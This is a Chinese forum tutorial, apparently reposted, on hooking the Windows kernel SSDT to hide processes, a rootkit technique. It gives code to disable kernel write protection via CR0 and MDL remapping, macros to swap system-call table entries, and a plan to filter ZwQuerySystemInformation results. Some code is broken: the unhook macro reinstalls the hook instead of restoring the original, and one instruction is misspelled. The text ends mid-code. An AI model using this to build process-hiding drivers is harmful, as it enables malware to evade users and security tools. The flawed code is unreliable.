我想大家都用过冰刃吧,因该对SSDT记忆犹新,但什么是SSDT,他是做什么的呢?
SSDT的全称是System Services Descriptor Table,系统服务描述符表。这个表的作用就是把ring3的Win32 API和ring0的内核API联系起来。
他通过对系统调用进行索引,然后定位函数的内存地址。当应用程序采用子系统调用系统服务时,他会调用到Ntdll.dll中,后者向EAX中加载所请求的系统服务标识符编号或系统函数编号,然后向EDX中加载用户模式中函数的参数地址,系统服务调度程序对参数数目进行验证,将他们从用户堆栈复制入内核堆栈,然后调用在SSDT中储存于EAX中的服务标识符编号的索引地址处的函数。
举个例子当我们要调用OpenProcess 函数时。函数进入内核的过程如下:
当程序的处理流程进入ring0之后,系统会根据服务标识符编号(eax)在SSDT这个系统服务描述符表中查找对应的表项,这个找到的表项就是系统服务函数NtOpenProcess的真正地址。之后,系统会根据这个地址调用相应的系统服务函数,并把结果返回给ntdll.dll中的NtOpenProcess。图中的“SSDT”所示即为系统服务描述符表的各个表项;右侧的“ntoskrnl.exe”则为Windows系统内核服务进程(ntoskrnl即为NT OS KerneL的缩写),它提供了相对应的各个系统服务函数。ntoskrnl.exe这个文件位于Windows的system32目录下
这里说明一点,SSDT中的各个表项不会全部指向ntoskrnl.exe中的服务函数,因为你机器上的杀毒监控或其它驱动程序可能会改写SSDT
中的某些表项。已到达他们的目的。
我们还要明确一个概念,就是KeServiceDescriptorTable,它是内核导出的表,该表拥有一个指针,指向SSDT中包含由ntoskrnl.exe实现核心系统服务的相应部分,我们可以把它理解成SSDT在内核中的数据实体。
SSDT的数据结构定义如下:
typedef struct _tagSSDT {
PVOID pvSSDTBase;
PVOID pvServiceCounterTable;
ULONG ulNumberOfServices;
PVOID pvParamTableBase;
} SSDT, *PSSDT;
有了以上知识后我们就可以钩住SSDT来完成我们希望实现的功能,这里介绍一种隐藏进程的方法。但有一个问题出现了,我们要修改SSDT表,首先这个表必须是可写的,但在xp以后的系统中他都是只读的,我总结了三个办法来修改内存保护机制。这对以后的编程是很有用处的
1,更改注册表(要从起)
HKLM/SYSTEM/CurrentControlset/Control/Session Manger/
Memory Management/EnforceWriteProtection=0
与
HKLM/SYSTEM/CurrentControlset/Control/Session Manger/
Memory Management/DisablePagingExecutive=1
(这个方法我没有试验成功)这里只是列出作为一种方法
2,修改控制寄存器CR0
将wp位设置为0
__asm
{
push eax
mov eax,CR0
and eax,0FFFEFFFFh
mov CR0,eax
pop eax
}
如果恢复可以
__asm
{
push eax
move eax,CR0
or eax, NOT 0FFFEFFFFh
mov CR0,eax
pop eax
}
这个方法希望以后再编程的时候尽量少用点,因为它常常会带来一些问题。
3.利用内存描述符表,描述一块可写内存,本人强烈推荐此办法,有什么好处,你会在编程中体会到的。
以下是MDL在ntddk.h的定义
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
#define MDL_MAPPED_TO_SYSTEM_VA 0x0001
#define MDL_PAGES_LOCKED 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ 0x0040
#define MDL_WRITE_OPERATION 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_FREE_EXTRA_PTES 0x0200
#define MDL_IO_SPACE 0x0800
#define MDL_NETWORK_HEADER 0x1000
#define MDL_MAPPING_CAN_FAIL 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED 0x4000
MDL包含了该内存区域的起始地址,拥有者进程,字节数量以及标志;
这里以修改SSDT为例,以下代码先声明一个结构,该结构用了转换由内核导出的KeServiceDescriptorTable变量的类型。调用MmCreateMdl时要KeServiceDescriptorTable的基地址和他包含的项数,从中我们得到MDL所描述的内存区域与大小。然后从不分页内存中创建MDL.我们将MDL标志与MDL_MAPPED_TO_SYSTEM_VA进行或操作,以便允许写入一块内存区域。然后就可以调用MmMapLockedPage来锁定内存中的MDL页。
好了,有了以上准备工作我们可以钩住SSDT表了,为了方便这里给出了四个宏定义
//获得SSDT基址宏
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
有点乱了吧:我来总结一下
如果要隐藏进程我们可以
首先:突破SSDT的内存保护,如上所用的MDL方法
然后:实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
最后:用上面介绍的宏来交换ZwQuerySystemInformation与我们自己的New*函数
这里我们要首先声明进程和线程结构:
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};
下面给出一个完整的代码,它的出自于rootkit.com,我这里只详细讲解以下链表的操作,完整的代码附在文后:
if(SystemInformationClass == 5)
转自: http://bbs.pusc.cn/topic.aspx?topicid=7864&boardid=8